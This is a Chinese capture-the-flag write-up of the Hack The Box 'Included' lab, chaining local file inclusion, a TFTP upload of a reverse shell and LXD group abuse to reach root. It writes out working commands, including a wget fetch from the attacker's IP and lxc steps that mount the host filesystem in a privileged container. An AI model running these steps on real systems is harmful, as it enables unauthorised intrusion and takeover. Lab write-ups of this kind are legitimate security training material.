文章声明
安全文章技术仅供参考,此文所提供的信息为漏洞靶场进行渗透,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。
本文所提供的工具仅用于学习,禁止用于其他,未经授权,严禁转载,如需转载私信联系。
文章简介
本文主要记录从本地文件包含漏洞到获取root权限的过程。
涉及知识
1. 本地文件包含漏洞(LFI)
2. TFTP文件上传
3. LXD提权
靶场环境
1. Hackthebox靶场Included
2. 靶机: Linux操作系统 IP:10.129.95.185
3. 攻击机:连接VPN后的IP:10.10.14.15
演示过程
首先,我使用nmap进行端口收集:
nmap -sV -sC -sT -v 10.129.95.185 -Pn
(假如这里有张图)
发现只有80端口开启,访问如下:
惊奇地发现url地址的传值参数为"?file=/home.php",由于靶场是linux操作系统,我们尝试查看文件/etc/passwd,内容显示如下:
(这样查看有些混乱,我们用curl看一下)
到这一步就是一个简单的任意文件读取漏洞,接下来我们通过读取到的内容getshell。
发现tftp用户,敏锐地查询了TFTP协议,如下:
TFTP(Trivial File Transfer Protocol),简单文件传输协议,TFTP使用UDP协议,TFTP不具备通常的FTP的许多功能,它只能从文件服务器上获得或写入文件,没有列出目录的功能,也不能对用户进行身份鉴别,它传输8位数据。
根据查到的tftp特性,这次使用nmap进行UDP端口扫描:
通过TFTP工具直接连接服务器,并上传反弹shell:
上传木马:
通过任意文件读取可以得知绝对路径为/var/lib/tftpboot
通过文件包含漏洞触发木马(访问http://10.129.95.185/?file=/var/lib/tftpboot/shell.php),反弹shell成功。
查看id,发现权限比较低,继续进行信息收集进而提升权限。
在/var/www/html路径下信息收集获取到mike用户名和密码:
切换用户mike获取到用户权限Flag,同时注意到存在的用户组在lxd组(当用户具有lxd权限时,可以通过创建任意镜像,并将当前系统根目录挂载到镜像mnt目录下,然后通过chroot命令即可获取当前系统的root权限):
接下来进行lxd提权,操作如下:
攻击机:
1.下载lxd镜像生成器
git clone https://github.com/saghul/lxd-alpine-builder.git
2.构建镜像
cd lxd-alpine-builder
sudo ./build-alpine
3.开启HTTP服务,下载到靶机上
python3 -m http.server 8082 -b 0.0.0.0
靶机:
1. 下载攻击机上的alpine-v3.13-x86_64-20210218_0139.tar.gz
wget http://10.10.14.15:8082/alpine-v3.13-x86_64-20210218_0139.tar.gz
2. 导入镜像并成功提权
#导入镜像
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz` --alias test
#初始化镜像
lxc init test test -c security.privileged=true
#挂载磁盘
lxc config device add test test disk source=/ path=/mnt/root recursive=true
#启动镜像
lxc start test
lxc exec test /bin/sh
如果报错就先lxd初始化后在执行上面的操作
lxd init # 一路回车
获取flag
cat /mnt/root/